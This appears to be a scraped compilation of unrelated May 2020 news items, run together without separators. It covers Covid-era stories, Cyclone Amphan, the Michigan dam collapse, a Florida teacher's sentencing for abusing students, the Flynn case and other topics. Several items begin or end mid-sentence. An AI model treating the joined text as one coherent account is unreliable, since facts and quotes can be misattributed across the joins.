Asked for a response to the Carnegie Mellon research, Twitter said its automated systems have challenged more than 4.3 million accounts which were targeting discussions around Covid-19 with spammy or manipulative behaviours. The company added: We're prioritising the removal of Covid-19 content when it has a call to action that could potentially cause harm. As we've said previously, we will not take enforcement action on every Tweet that contains incomplete or disputed information about Covid-19. Since introducing these new policies on March 18, we've removed more than 2,600 Tweets. Professor Carley urged Twitter users to be very vigilant as combatting rogue bot accounts was difficult as blocked profiles can quickly respawn.

She said: Even if someone appears to be from your community, if you don't know them personally, take a closer look, and always go to authoritative or trusted sources for information,
Anticipating that India would



emerge as an alternative hub to China for investments in the backdrop of COVID-19 outbreak, the Andhra Pradesh government has constituted a task force panel to attract companies to the state.

The task force will be headed by Mekapati Goutham Reddy, Minister for Industries and IT while senior bureaucrats are members.

"Economic issues and supply chain constraints caused by COVID-19 has resulted in many countries to rethink their investments in China," a Government Order issued on Thursday said.

Reports indicate that the US, South Korea, Japan, Taiwan, Vietnam, Singapore among others are likely to diversify their supply chains from China and India could emerge as an alternative investment destination for doing business.

"Further, this Task Force will continue to act as a forum for attracting investments on a long term basis, as well, into the State," it said.

The task force will meet once every month to review the progress of investment proposals received and examine the special package of incentives requested by the investors and get it processed in accordance with the policy of the government, among others.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili.

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Ahead of conducting an aerial survey of cyclone-hit areas in West Bengal with Prime Minister Narendra Modi, Chief Minister Mamata Banerjee on Friday contended that the calamity, which has left at least 80 dead, is "more than a national disaster".

Banerjee said it will take time to restore normalcy, with cyclone 'Amphan' having ravaged at least seven to eight districts in Bengal, and adversely impacting 60 per cent of the state's population.

"This is more than a national disaster. I have not seen such devastation in my life. Sixty per cent of people have been affected in West Bengal. More than six crore have been directly affected," Banerjee told reporters at the Netaji Subhas Chandra Bose International Airport where she had gone to receive Modi.

"It will take some time to restore normalcy... It's a catastrophe... severe disaster. Our officials and ministers are all working. Police are also working tirelessly. We are fighting three challenges -- there is lockdown, then there is COVID-19, and now this disaster. The villages have been entirely devastated," she noted.

The chief minister said that she will hold an administrative meeting with Modi at Basirhat in North 24 Parganas district, following the aerial survey.

She also said that an initial report on the scale of destruction caused by the cyclone has been prepared and it would be handed over to the prime minister.

"We are not saying anything on it (the devastation caused by the cyclone). The chief secretary has prepared a report which will be handed over to the PM... I hope he will consider looking into it," the CM said.

Banerjee said a map of areas, which she would be surveying along with the PM, has been prepared by her government officials.

"We will cover Rajarhat, Bhangar, Minakha, Hashnabar, Sandeshkhali 1 and 2, Gosaba, Hindolganj, Kultuli. Kakdwip, Patharpratima, Mathurapur 2, Diamond Harbour and Falta. This will take an hour or so," she explained.

The CM also said she will be visiting some of these places again on Saturday.

"All phone connections were snapped (after the cyclone struck). My landline was working, but there was no connectivity in my cell phone. It was that bad..." she said.

Talking more about the process of normalcy restoration in Bengal, Banerjee said the state has manpower and capacity to rise above the crisis.

"The districts have been totally damaged. All the embankments have been breached. Our challenge is to rescue (people) and restore operations here. We have our manpower and capacity. We will be able to do it successfully. Our municipal workers are also working on war footing. Dont worry, it (normalcy) will be restored," she said.

Banerjee further said President Ram Nath Kovind called her to enquire about the situation in the state.

"I sincerely thank the Honble President of India @rashtrapatibhvn Shri Ram Nath Kovind Ji, for personally calling me to convey his support and concerns for the people of Bengal in this unprecedented time of crisis because of the cyclone. We are extremely grateful, Sir," she tweeted later in the day.

Banerjee noted that Odisha Chief Minister Naveen Patnaik has also offered help.

"Dear @Naveen_Odisha Ji, extremely grateful for the kind words in these unprecedented times. As a fellow chief minister trying to restore the state post the cyclone, this is extremely warming," the chief minister added. PTI SCH RMS.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
B elmond has announced its Venice Simplon-Orient-Express will return to railways from July 8.

The legendary locomotives initial journey will be from Venice to London, and more dates and routings will be announced after this.

Samantha Strawford, Belmonds Global Brand Director, told the Telegraph: We will have fewer passengers on board and there will be much more space between them in the dining car. There will be more in-cabin dining and not all cabins will be occupied. We are also working through different scenarios for ensuring more distance is kept between passengers on the trains and the introduction of regular deep clean operations.

Strawford added that the routes resumption will be dependent on the free flow of travel between the countries it passes through: Italy, France, Austria and Switzerland.

Today it was announced that the UK will impose a 1,000 fine on anyone who breaches the new quarantine regulations that state any incoming passenger to the UK must self-isolate for 14 days. A spokesperson for Belmond says: "We will follow any announcement that may follow next week from the Home Secretary and respond accordingly - for now, our train operations are not currently scheduled to resume until July, and we do heavily caveat that these will only commence once we are given the green light by authorities to do so."

Earlier this week, CEO and President of Belmond, Roeland Vos announced the companys intention to reopen its global operations, starting with its iconic hotels in Italy.

Belmond Hotel Splendido, Portofino and Belmond Hotel Cipriani are set to reopen from June 19, and those on the July 8 Venice Simplon-Orient-Express journey will be able to stay at the latter.

Vos said in a statement: The challenge of todays global pandemic will not stop us from re-imagining the future of luxury travel. If anything, it has encouraged us to go further and evolve faster. Since the outbreak began, our colleagues have shown countless acts of kindness, devotion and selfless care. And there have been many remarkable moments of innovation.

I want to thank our teams around the world for their tireless dedication and support throughout this time, and as we look ahead now to the first phase of reopenings, I know that our guests will once again experience moments of magic, among those who matter most.

Belmond has also introduced a Tomorrow Time Travel Pass - a travel voucher for future use, with no expiration date and a value that will be topped up 20 per cent by Belmond.

Belmond is also looking to reopen its UK properties this summer, with Londons Belmond Cadogan Hotel scheduled for a July 4 reopening and its Oxfordshire offering, Belmond Le Manoir aux Quat'Saisons, scheduled for a July 14 reopening.
In the face of severe socio-economic realities, what can organisations do to protect and empower our vulnerable communities?

Image supplied

Private sector support, innovation

Image supplied

Mindset shift needed

According to Neil Reddy, business strategy and projects manager at Veer Steel Mills, the critical consideration in dealing with Covid-19 is understanding that it is not experienced equally by all South Africans.We are all feeling the effects of this pandemic very differently, depending on where you reside and who you live with, how you earn money, your mental and physical health, and your access to healthcare and basic amenities. Our strength and solidarity as a community is entirely dependent on the lengths we as individuals - and as organisations - are willing to go to ensure that the bottom of the pyramid experiences as little impact as possible.According to Reddy, the South African government has responded quickly and decisively in dealing with the outbreak of Covid-19, but they cannot work in isolation in mitigating the spread of the virus. He believes that support and innovation in the private sector is needed now more than ever.Government has set the tone in terms of leadership and direction in response to Covid-19, and we are prepared to serve the communities in which we operate. By entering into partnerships with government, we are able to leverage off of existing community initiatives to maximise on their impact. The onus is on community leaders, business owners, non-profit organisations and municipalities, alike, to combine expertise, pool resources and drive education to combat this threat.As part of our community-level response to the coronavirus, we have partnered with the City of Ekurhuleni and their Department of Community Safety, headed by MMC Phaladi Frans Mmoko, to donate 300 food parcels to indigent families in Tembisa and Germiston. The areas surrounding Veer Steel Mills are in dire need of necessities and ongoing support, such as toiletries and groceries. These communities are the lifeblood of our company, it is our responsibility to ensure that they are provided for.Further to this, says Reddy, a mindset shift is needed to ensure that communities are best-equipped to combat the spread of the coronavirus. Communication campaigns - tailored to local languages and with customs and cultures kept in mind - must be in place to consistently raise awareness, reinforce healthcare best practices and instil a sense of accountability within areas.An education exercise is essential to not only protect our workforce, but to equip them with the knowledge to keep their families, neighbours and communities safe and sanitary. We have had to recondition our staff to operate safely under this new normal while at work, but we have also provided them with material to better identify symptoms, and understand necessary hygiene and sanitisation measures, says Reddy.Vulnerable communities cannot be isolated in their struggle. In the spirit of, says Reddy, it is the responsibility of every South African to fight the spread of Covid-19. In order for this fight to be effective, we are reliant upon South African ingenuity, compassion and collaboration to support one another through this pandemic.
The British royals are quarantining during the COVID-19 pandemic but have spent some time interacting with the public through videos and social media posts.

Queen Elizabeth gave a televised address to her nation about the crisis, and the Duke and Duchess of Cambridge launched initiatives to support mental health. Prince Charles battled the virus in March, and since hes recovered, helped opened a stadium hospital to care for the ill.

All of them have expressed support for frontline workers, but Prince Charles comments toward furloughed workers are rubbing many the wrong way.

Prince Charles | Eamonn M. McCormack/WPA Pool/Getty Images

Prince Charles advocates for Pick for Britain

As the COVID-19 crisis continues to affect peoples health, livelihoods, and ability to obtain household necessities, many are struggling to survive without enough income. Prince Charles issued a message to UK citizens who are out of work as a result of coronavirus shutdowns.

In a video, he highlighted the Pick for Britain program which seeks to link agricultural employers with workers interested in farming. Prince Charles also promoted it on social media, encouraging folks to consider a job picking fruits and vegetables.

RELATED: Prince William and Kate Middleton Are Struggling With Homeschooling Prince George and Princess Charlotte, Source Says

Prince Charles receiving backlash

Not everyone is a fan of the monarchy, and after seeing the message on YouTube and the Clarence House Twitter account, comments rolled in. People are criticizing Prince Charles for being privileged and suggesting that folks hit the farm to make ends meet.

The Royal Family Channel on YouTube attracted comments such as Hard graft for the peasants. Charlie leading by example, and Says the bloke who has a butler to squeeze his toothpaste.

Others shared this sentiment: Lead by example Charles lets see you assemble an army of toff fruit pickers. It should be you out there since you mooch of the generosity of the noble UK public.

The campaign encourages those looking for work in these difficult times to consider a job picking fruit and vegetables.



A farmer himself, The Prince is Patron or President of many organisations that help preserve rural communities and protect British agriculture. pic.twitter.com/EotkT37fdz  Clarence House (@ClarenceHouse) May 19, 2020

Twitter users were just as critical, and some referenced the note that Prince Charles is a farmer too. One user wrote, I must have missed all the 5am starts the Prince does to get the cows in, and the fields tilled.

Another said, Lead by example! Not exactly doing much for his exorbitant pay right now. Get his bone idle kids out there, too.

An overwhelming majority of users are amused by the notion that the Prince of Wales is a farmer and they are not buying it. Jokes are peppering the comment threads about the royal doing manual labor.

RELATED: Prince Charles Coronavirus Diagnosis Has Royal Watchers Concerned for Prince Harry and Meghan Markle

The royals have also been thanking health care workers

On a regular basis, members of the royal family have been taking time to video conference health workers in the country to thank them for their service.

Recently, they worked with an organization called Nursing Now, and connected to nurses in the UK, Bahamas, India, and Malawi, and other regions to express appreciation.

According to the BBC, Prince Charles said on one call, My family and I want to join in the chorus of thank yous to nursing and midwifery staff across the country and indeed the world. Sophie, Countess of Wessex, shared that she was sending love their way.

At this time, it is unclear how many people have signed up for the Pick for Britain initiative, but supporters hope that young residents decide to participate, and to see Prince Charles on hand.

RELATED: Prince Charles Accused of Using His Privilege and Leaving Citizens To Rot Who Cant Get a COVID-19 Test By Royal Expert
SANFORD, MI -- While the flood waters have subsided enough for most Sanford residents to return to their homes and businesses, many are realizing the worst isnt over yet.

After experiencing heavy rainfall May 17-18, Midland Countys Sanford and Edenville Dams began showing signs of damage. By Tuesday, May 19, the Edenville Dam collapsed, and the Sanford Dam became structurally unsound.

Soon after, Sanford and Wixom Lakes began to flood. Wixom Lake was entirely dried out by Wednesday, May 20, and Sanford Lake continued to drain throughout the remainder of the week. Much of that water made its way to Sanford.

We were devastated

Some Sanford residents and business owners began the trek back home Thursday, May 21, after enough roads reopened for them to safely return. Like many of her neighbors, Connie Methner was eager, but not optimistic, to see what was left of her shop.

Methner has lived in Sanford for 35 years. Around 34 years of that has been dedicated to her business, CJs Hairstyling. She first bought her shop, located at 309 W. Saginaw Road, in the aftermath of whats known locally as the Great Flood of 1986, which had set Midland Countys previous record flood level at 33.9 feet. This weeks flood toppled that record in Midland at 35.05 feet.

We had a 100-year flood in 86, and I bought (my shop) knowing that (the water) never came up to here, she said. Then, in 2017, we had another flood, and again it never came up to here.

Unfortunately, Methner couldnt pull off a hat trick. When she and her husband waded their way back to CJs on Thursday, she found out that the flood waters had completely engulfed the shop. The water had gone all the way up to the shops ceilings, rendering the building beyond repair.

We were devastated by the floods of two dams, Methner said as she sat inside whats left of CJs. Wixom Lake came down on top of Sanford Lake and totally wiped us out. Its kind of hard  34 years of my life has gone, except that I still have some terrific clients, some terrific memories.

Like Methner, lifelong Sanford residents Mary and Dennis Schnettler never anticipated flooding would affect their home. The Schnettlers lived in Sanford during the 1986 floods, which Mary said isnt even close to the devastation the recent flooding events have had on Sanford.

The Schnettlers home survived the recent flood, but they lost most of their possessions. Mary said she still knows they fared better than many of their neighbors.

Its unreal -- its like a dream, she said.

Surveying the damage

As the Schnettlers stood hand-in-hand on a bridge overlooking the damage, Dennis laughed as he remembered how happy he was when the bridge was first paved years ago.

It was old, broken-up concrete, and its back to that now, he said. The town has grown, been a good place to raise our family.

The Schnettlers raised two children in their Sanford home, one who now lives in Midland, and another who moved to Houston. Mary said she had talked to her daughter out of state, who kept crying, crying, crying, wishing to be in Sanford to help her parents. Despite the devastation, though, Mary said she is still thankful their home survived.

Were fortunate. We still have our house, she said. To come down here and to see all this, Im amazed at the power of that water and what it did.

While the Schenttlers surveyed the damaged on a bridge near their home, Methner and her husband remained at CJs, salvaging what they could of the supplies and trinkets Methner kept around the shop. Not much survived, but Methner was able to find a few photos she had hung on the walls.

I was lucky enough to find my kids senior pictures," she said. I always kept them on the wall, and they survived. Three baby pictures of my kids when there were two months old that I dont have anywhere else survived.

Tapping on the desk next to her, Methner rattled off a list of losses: various supplies such as scissors, mirrors and furniture, to name a few. Among the damaged furniture was the desk sitting next to her.

This was my desk. This was the top of my desk, and thats what people wrote checks on," she said. Its warped. The only thing it didnt warp I think is this divider my husband built me that we kept our product lines on. I cant believe that made it.

Financial burdens of rebuilding

Despite the total destruction of CJs, Methner hopes to rebuild it. Now, though, she remains unsure how she will afford that undertaking.

Sanford is a small village with only 859 people reported on the towns 2010 census. Many residents rely on credit from local businesses and live paycheck to paycheck, Methner said. On top of that, those deemed unessential during the coronavirus pandemic have been out of work for around two months.

Ive been shut down for two months with the possible of more because Im a hair dresser," Methner said. Thats two months of no work, and now no building.

Methner understood why her business had to close during the pandemic and said she agrees that safety should be a first priority. While waiting to reopen, Methner hired someone to help her clean the shop and prepare it for social distancing and other safety protocols.

We came in and polished it, got it organized and took out furniture  thank God, because it would be gone, she said. "We opened it up so it would be 6-feet safe. It was sparkling, it was perfect and now its gone. I wish I took pictures.

Besides being closed for two months amid a pandemic, Methner said she was never offered flood insurance when she first opened her doors. Sanford was not deemed a flood-risk area, she said she was told, so CJs and, other local businesses and residents, do not have flood insurance.

Im going to try to come back. Im going to try to put another shop in here," Methner said. "But we have no insurance that will cover it. Its not just me -- its everybody in this town, every home. Now, who has this money?

Methner and the Schnettlers hope the Federal Emergency Management Agency will provide financial relief to residents and businesses. Otherwise, Mary is unsure how many Sanford residents will survive.

Weve been devastated. Its going to take years for us to recover from this," Mary said. "No words can really describe what were feeling.

We hope they support us," Dennis added. "If you dont live here, and it doesnt affect you, you can kind of blow it off. You have to be here to see it, to live it.

An uncertain future

Methner and the Schnettlers arent sure what the future will look like for Sanford. While President Trump approved an emergency declaration for areas affected by the flood, Methner is frustrated by the focus for much of the relief seems to be on Midland.

I know that Midland got it, dont get me wrong, she said. "Its all about Midland. But this is a whole flipping town, and Midland didnt all get-gone. Its a whole town destroyed by this, not just one or two. All of my fellow business owners in this town plus family and residents all through here have been wiped out.

As Sanford waits for federal and state aid come to the region, Methner noted that everyone is acting like walking zombies," unable to comprehend how such devastation could have happened to them.

Were in the Twilight Zone. We are truly in the Twilight Zone," she said. You cant make this up outside of movie theaters. You see it in the movies, but we lived it.

Mary expressed a similar feeling of disbelief and shock. While she tries to remain optimistic that help will come, she, too, has her doubts about the future.

It still hasnt hit me yet. Its hard, its very hard," she said. "And you dont know the future, either. Will we have one? We dont even know.

Read More

Midland community pulls together as floodwaters recede, recovery begins

President Trump approves emergency declaration in wake of mid-Michigan flooding

Midland announces sewage issues for some residents and guidelines for returning home

It doesnt look good, but Sanford Dam is actually still standing with some of berm washed away

Saginaw River reaches peak in Bay City without major flooding issues

Failed dam owner fought with state over Wixom Lake levels before flood

Flooding in Michigan: Everything we know about Midland County dam break
Mark Lua, a former Florida high school teacher was sentenced to 12 years in prison on Wednesday

A former Florida high school teacher was sentenced to 12 years in prison for sexually abusing students.

Mark Lua, 32, told Circuit Judge Thomas Dannheisser on Wednesday that he wanted to raise his daughter and would volunteer for castration if that would spare him a prison sentence, the Pensacola News Journal reported, but the judge ignored his request.

The former English teacher at Booker T. Washington High School in Pensacola pleaded guilty last year to promoting a sexual performance by a child, unlawful sexual activity with minors and two counts of unlawful sexual activity with minors.

Prosecutors say he sexually assaulted an 18-year-old former student, had sex with an underage student and coerced another to send him a sexually explicit video.

'My actions were despicable,' Lua said. 'I do believe that punishment is necessary, and I am requesting chemical castration not only as a punishment but as an act of solidarity to show how sorry I am for everything. If your honor is so inclined, I am even willing to undergo physical castration if that way I can stay home and raise my daughter.'

Lua was sentenced to 12 years in federal prison, followed by 15 years of probation, after he pleaded guilty to an array of sex offenses involving his students

Judge Dannheisser ignored the request before sentencing him to 12 years in jail followed by 15 years of probation.

Prosecutor Erin Ambrose told the judge Lua targeted vulnerable girls.

'He seemed to seek out girls that came from unstable or troubled homes,' Ambrose said. 'He manipulated them, and he betrayed them because he was a teacher.'

Lua was arrested three separate times in 2019 after there were allegations he coerced a student into sending him an inappropriate video, that he had sex with an underage student and that he had sexually assaulted an 18-year-old former student.

His first arrest was on January 17, 2019, when a school resource officer received a tip off that Lua was having inappropriate communications with minors.

Mark Lua was a former English teacher at Booker T Washington High School in Florida,pictured

He later admitted to having set up a fake Instagram profile in order to reach out to underage teens for sex.

He was arrested for a second time less than two weeks later on January 30. On that occasion a juvenile student reported that he had sex with her at his home.

Lua was arrested three separate times in 2019 after there were allegations he coerced a student into sending him an inappropriate video, that he had sex with an underage student and that he had sexually assaulted an 18-year-old former student

The following week, he was arrested for a third time on February 6 after a former student, who was now an adult, went to the authorities to say that she had been sexually assaulted by him.

During his hearing Lua said that he suffered from a genetic disorder called neurofibromatosis that caused the growth of painful tumors on his skin. Lua said the condition resulted in frequent panic attacks.

'If I'm with my family or when I might sit down and read a book, I think about the tumors, and I think "Oh my God, this might be my last day on earth,"' he said.

The prosecutor dismissed such claims in court.

'This condition did not seem to debilitate him while he was trolling the halls, looking for students to have sex with,' Ambrose said.
Another horrifying video has emerged showing an Audi driver exceeding speeds of 200mph as he exclaims 'f**k the feds'.

The driver can be heard cackling with laughter as he darts in front of a lorry on a roundabout in a startling near miss.

The sat nav on the dash of the car appears to show the man driving on the Londonbound A2 Watling Street from Gravesend, Kent, as he goes on to audibly boast: 'We're not bothered' and 'lockdown my f*****g balls bruv, who's locking me down?'.

In a second video posted by the London & UK Crime Twitter account, the driver can be seen taking scant regard for others travelling on the busy M20 stretch in Kent while shouting 'come on bruv, what are you saying babe, f*****g 200 bruv' as the speedometer passes the double century.

Police are on the hunt for another reckless driver after a man took to social media to show off reaching speeds of 200mph on the Londonbound A2 Watling Street from Gravesend

After hitting his 200mph target the man launched into a series of foul-mouthed expletives

The vehicle topped out at 200mph, before the careless driver let his foot off the gas in order to navigate a rapidly approaching roundabout.

Detective Superintendent Andy Cox, Met Police's lead for their Vision Zero road safety campaign, quoted the video on Twitter and said: 'Unfortunately more horrific driving.

'I have tasked investigative work to see if we can identify the car involved and location.

'Needless to say if in #London we will do all we can to seek the most robust action possible. If outside London we will support the relevant Force.'

Kent Police's Road Policing Unit later added: 'We have noted the video which displays horrendous driving and shows scant regard for others.

'Anyone with any information please contact us via 101. This will be looked into. #TheRoadIsNotARaceTrack'

The latest footage comes just days after another motorist filmed himself doing 201mph in an Audi RS6 while driving along the M23 in West Sussex

The motorist only had one hand on the wheel as he filmed his dangerous test drive and put the safety of himself and others in serious jeopardy

Fellow drivers replied in horror, with Chris Ward saying: 'Another 200mph idiot. This is a stretch of road I travel on regularly... A2 in Kent. Coming through Gravesend then up to Bluewater.'

Kirsty Wear added: 'Tougher sanctions on dangerous driving is the only way to tackle horrific scenes like this. Why is this so difficult to implement?'

It comes just hours after a driver filmed himself hurtling what appears to be an Audi RS6 car down the M23 in Crawley at a similar pace.

In that video, which was shared thousands of times on social media, the single hand holding the wheel is that of a white male whereas the second incident appears to show a black man operating the accelerator while wearing white socks and shoes.
NASA photo of the eruption of Klyuchevsky volcano on 30 September, 1994, the volcano's largest explosion in 40 years. The large

Background:

Kliuchevskoi is Kamchatka's highest and most active volcano. Since its origin about 6000 years ago, the beautifully symmetrical, 4835-m-high basaltic stratovolcano has produced frequent moderate-volume explosive and effusive eruptions without major periods of inactivity. Kliuchevskoi rises above a saddle NE of sharp-peaked Kamen volcano and lies SE of the broad Ushkovsky massif. More than 100 flank eruptions have occurred at Kliuchevskoi during the past roughly 3000 years, with most lateral craters and cones occurring along radial fissures between the unconfined NE-to-SE flanks of the conical volcano between 500 m and 3600 m elevation. The morphology of its 700-m-wide summit crater has been frequently modified by historical eruptions, which have been recorded since the late-17th century. Historical eruptions have originated primarily from the summit crater, but have also included numerous major explosive and effusive eruptions from flank craters.

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Source: Klyuchevsky information by the GVP (Smithsonian Institution)
(Newser)  We are all pandemic victims, which Tom Hanks well knows; the actor and his wife, Rita Wilson, have recovered from COVID-19. But only one age group was trying to wrap up a high school education when the coronavirus hit. In recognition of their "distinct labors in the face of the Great Pandemic," per the Hollywood Reporter, the star posted a special diploma on social media Friday for 2020 graduates. The diploma marks the "successful completion of your education despite the hardships imposed by the COVID-19 crisis." Signed by Hanks and, somehow, the late Albert Einstein, the message on the official-looking certificate concludes, "You have displayed honor, dedication, wherewithal and good citizenship."

story continues below

"Print this up on a sheepskin!" Hanks' tweet advised. The diploma isn't the only way the actor has honored this spring's graduates. Early this month, per Rolling Stone, he unexpectedly posted a video message for the new graduates of Wright State University. "You are the chosen ones because of a fate unimagined when you began your Wright State adventures," he told them, adding that they, having lived through "the time of great sacrifice and great need," will remake the post-pandemic world. "The future is always uncertain," Hanks said, "but we who celebrate what you have done, we are certain of one thing on this dayyou will not let us down." In the spirit of graduation, Hanks on Friday also tweeted his senior photo from Skyline High School, class of 1974. (Read more uplifting news stories.)
Now that every state has reopened to some degree, the potential for a resurgent spread of the virus has increased. If new outbreaks occur, citizens and businesses are likely to find stay-at-home requirements very disruptive.Contact tracing is an essential element of how states and localities plan to keep COVID-19 contained. The National Association of County and City Health Officials estimates that it will take 30 contact tracers for every 100,000 citizens to do the job right. Only seven states have plans that will enable them to meet that standard; North Dakota has already done so.Since April, a number of bills have been introduced to address some of the details of implementing contact tracing more broadly, from privacy issues to ensuring cultural diversity among workers doing this vital job.in Pennsylvania allocates $500 million in federal funds to create regional health collaboratives charged with developing an action plan for testing and contact tracing and to assist in the completion of tracing studies.Louisianadirects the governor to ensure that contact tracing in the state does not violate the liberty and individual rights of citizens. It forbids tracking movements through cellphone location tracking, data mining that would make it possible to track a person, and collecting personal identifying information through contact tracing.in New York requires government agencies that hire contact tracers to ensure workers reflect the cultural and linguistic diversity of the communities in which they will do their jobs. Agencies are to make annual reports to the governor and Legislature regarding their efforts to accomplish this goal., a North Carolina bill, creates a Coronavirus Relief Fund with CARES Act funds received in the 2019-2020 fiscal year. It appropriates $35 million for testing, contact tracing and tracking, and analyzing trends. It also includes expanding both the number of contact tracers and the infrastructure supporting their work.in Illinois urges the governor and general assembly to adopt a reopening plan similar to the one developed by the state of Indiana. The Indiana plan includes a prescription to expand contact tracing and to contact all individuals who test positive for COVID-19.Minnesotastates that the commissioner of health may not require a contagious person with COVID-19 to participate in contact tracing. It allows contact tracing using data transmitted between wireless devices, but the commissioner cannot require a citizen to use an app based on such data, or to provide location information. Employers are also forbidden to require an employee to use a contact tracing application, including one installed on a device provided by the employer. Persons who feel aggrieved by a violation of these and other guidelines in the act can sue for personal and punitive damages and attorneys fees.
A U.S. appeals court on Thursday instructed the judge presiding over the criminal case against President Donald Trump's former national security adviser Michael Flynn to respond to a petition in which Flynn asked the appellate court to toss the charges.

The U.S. Court of Appeals for the District of Columbia Circuit gave District Judge Emmet Sullivan 10 days to respond to an emergency petition filed by Flynn's lawyers seeking to force Sullivan to grant a Justice Department request to dismiss the case.

The department, in a major reversal, on May 7 asked Sullivan to drop the charges, drawing accusations from Democrats and retired career prosecutors that Attorney General William Barr was politicizing the U.S. criminal justice system to go light on Trump's friends and associates.

Federal appeals court has ordered a judge handling the criminal case of former national security advisor, Michael Flynn, explain why lying charges are yet to be dropped

A retired Army lieutenant general who also advised Trump's 2016 presidential campaign, Flynn pleaded guilty in 2017 to lying to the FBI about his conversations with Russia's U.S. ambassador Sergey Kislyak in the weeks before Trump took office.

Flynn, charged as part of former Special Counsel Robert Mueller's investigation that documented Russian interference in the 2016 U.S. election to boost Trump's candidacy, later sought to withdraw his plea and accused the FBI of tricking him.

But the Justice Department now says the FBI had insufficient basis to interview him in the first place and that the statements he made during questioning were not material to the underlying investigation into ties between Russia and the 2016 Trump campaign.

The department's decision two weeks to ask Sullivan to drop the charges followed public pressure from Trump and the Republican president's political allies.

District court judge Emmet Sullivan, pictured, must respond within 10 days to a request by Flynn that the higher court force him to drop the case

Sullivan last week signaled reluctance to drop the charges and that he was inclined to take his time with the request.

He appointed a retired judge to advise whether Flynn should face an additional criminal contempt charge for perjury.

Sullivan also announced that he would permit outside parties to weigh in with their viewpoints and appointed a retired federal judge from New York, John Gleeson, to argue against the department's position.

Sullivan has scheduled an in-person court hearing in the case for July 16.

Flynn's attorneys said Sullivan had 'egregiously' overstepped his authority. They argued that the judge 'has no authority to adopt the role of prosecutor or change the issues in the case.'

'This is an umpire who has decided to steal public attention from the players and focus it on himself,' Flynn's lawyers wrote. 'He wants to pitch, bat, run bases, and play shortstop. In truth, he is way out in left field.'

They asked the appeals court to order Sullivan to dismiss the case, as well as to reassign whatever remaining court proceedings must take place to another judge.

Flynn served as national security adviser in the first weeks of Trump's presidency before being fired for misleading Vice President Mike Pence about his dealings with Kislyak.
As part of Memorial Day, I would go to some parades to honor those who made the ultimate sacrifice showing that freedom isnt free  it costs lives.

I go to the Ellington Cemetery to visit my oldest sons grave. Army Sgt. Charles A. Drier was killed in action May 24, 2005, in Iraq. He was killed while doing a second tour. He was assigned to the 1st Battalion, 76th Field Artillery, 4th Brigade Combat Team, 3rd Infantry Division, out of Fort Stewart, Georgia. Ive visited his grave in the Ellington Township Cemetery numerous times over the last 15 years.

It was several years ago when I first noticed a variety of coins on his headstone and on those of some of the other soldiers, I had no idea why they were there. When I commented on that in a column, I received a letter explaining the meaning of the coins on a grave of those who died in service to their country.

The letter explained that a coin left on a headstone is supposed to be a message to the deceased soldiers family that someone had visited the grave to pay respect.

Each coin's denomination has a distinct meaning. Leaving a penny at the grave means someone visited. Leaving a nickel indicates the visitor and the deceased trained in boot camp together, while a dime means the visitor served with the soldier in some capacity.

A quarter left at the grave is to tell the family the visitor was with the soldier when he was killed.

According to the letter, the money left at graves in national and state veterans cemeteries is eventually collected, and the funds are put toward maintaining the cemetery or paying burial costs for indigent veterans.

It is my understanding leaving a coin became common during the Vietnam War because of the political controversy in the country over that war. Leaving a coin was seen as a way to communicate that a person had visited the grave rather than contacting the soldiers family.

Some veterans leave coins as a down payment to buy their fallen comrades a beer in heaven or to be used for grave maintenance.

I have never been able to verify whether the information I received about the coins is true or not. I like to think the information is true.

Over the years that I have gone to my sons grave, there have been lots of pennies have been left, several nickels as well as a few dimes left on his headstone. After I learned the meaning of the coins, they give me comfort knowing Chuck is remember and not forgotten.

I hope this information on coins brings comfort to others as well when they see coins on the headstone of their loved one.
Mamata Banerjee

New Delhi: Prime Minister Narendra Modi today visited several districts in West Bengal devastated by Cyclone Amphan. He then announced Rs 1,000 crore relief package. The statement by Chief Minister Mamata Banerjee came after PM Modi's announcement.

Narendra ModiShe said that the loss was one lakh crore and the package was being given only one thousand crore. West Bengal Chief Minister Mamata Banerjee said that Prime Minister Narendra Modi had announced Rs 1,000 crore relief package but did not provide any details.

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When will this money be received or is it a deposit? Cyclone Amphan has caused a loss of Rs one lakh crore. It is the worst hurricane to hit in 283 years. Meanwhile, Prime Minister Narendra Modi on Friday conducted an aerial survey of the Amphan affected areas.

Mamata Banerjee and Narendra ModiFollowing the survey, Prime Minister Narendra Modi has announced an initial assistance of Rs 1,000 crore for West Bengal. In addition, a team from the Centre will soon visit the state to conduct the survey.

After the aerial survey, PM Modi said that while there was a crisis of corona virus in the country, there was also a storm in the eastern region.
Earlier this week, The Washington Post reported that the Globe Theatre in London  one of the most popular destinations for the performances of William Shakespeares plays  could bring down the curtain if the UK government did not inject $7 million to make up for the losses it has suffered because of the coronavirus pandemic.

The Globe, in the fashionable South Bank of the Thames, is a meticulous reproduction in oak of the original playhouse where most Shakespeares plays were first performed, and was burned down in 1613. The current theatre, which was ...
https://en.trend.az/azerbaijan/politics/3243392.html (first version is here)

Details added, first version published on 17:36 (May 21)

BAKU, Azerbaijan, May 21

Trend:

The Commissioner for Human Rights (Ombudsman) in Azerbaijan Sabina Aliyeva voiced a protest regarding holding of illegal, so-called "election" in the occupied Nagorno-Karabakh region of Azerbaijan and the regular violation of the ceasefire by Armenia, Trend reports on May 21 referring to Ombudsmans office.

We are deeply concerned that the Armenian armed forces are breaking the ceasefire regime by continuously firing at Azerbaijani positions located on the nameless heights, as well as the settlements where civilians live, at different positions of the front line, the statement said.

While ignoring the appeals of the UN, WHO and other international structures in connection with the COVID-19 pandemic, the Armenian government continues to take provocative actions amid the aggressive policy, creating a more dangerous situation in the region, the statement said. The continued violation of the ceasefire regime by the Armenian army during the pandemic aggravates the living of people in the conflict zone.

Along with this, the organization of so-called "elections" by Armenia in the occupied Nagorno-Karabakh region of Azerbaijan at a time when the world is fighting the COVID-19 infection, and the show called "inauguration" is another clear example of an occupational and destructive policy and support for separatism, as well as a gross violation of international law. The so-called "elections" are completely contrary to the Constitution of Azerbaijan, the norms and principles of international law, have no legal force, resolutely and unequivocally rejected by the international community, said the document.

Ombudsman called on the international community, in particular, powerful international organizations, to take the necessary steps and immediate measures on releasing from occupation the territories recognized UN, on giving a decent legal assessment of the crimes committed by Armenia in Azerbaijan, on suppressing the violation of international law, and on making efforts on restoration of the fundamental rights and freedoms of compatriots trampled as a result of the Nagorno-Karabakh conflict.
Nearly two months after Southeast Texas colleges received over $10 million in coronavirus aid from the federal government, they have announced plans to spend that money to offer reduced  and in some cases free  classes to students in need.

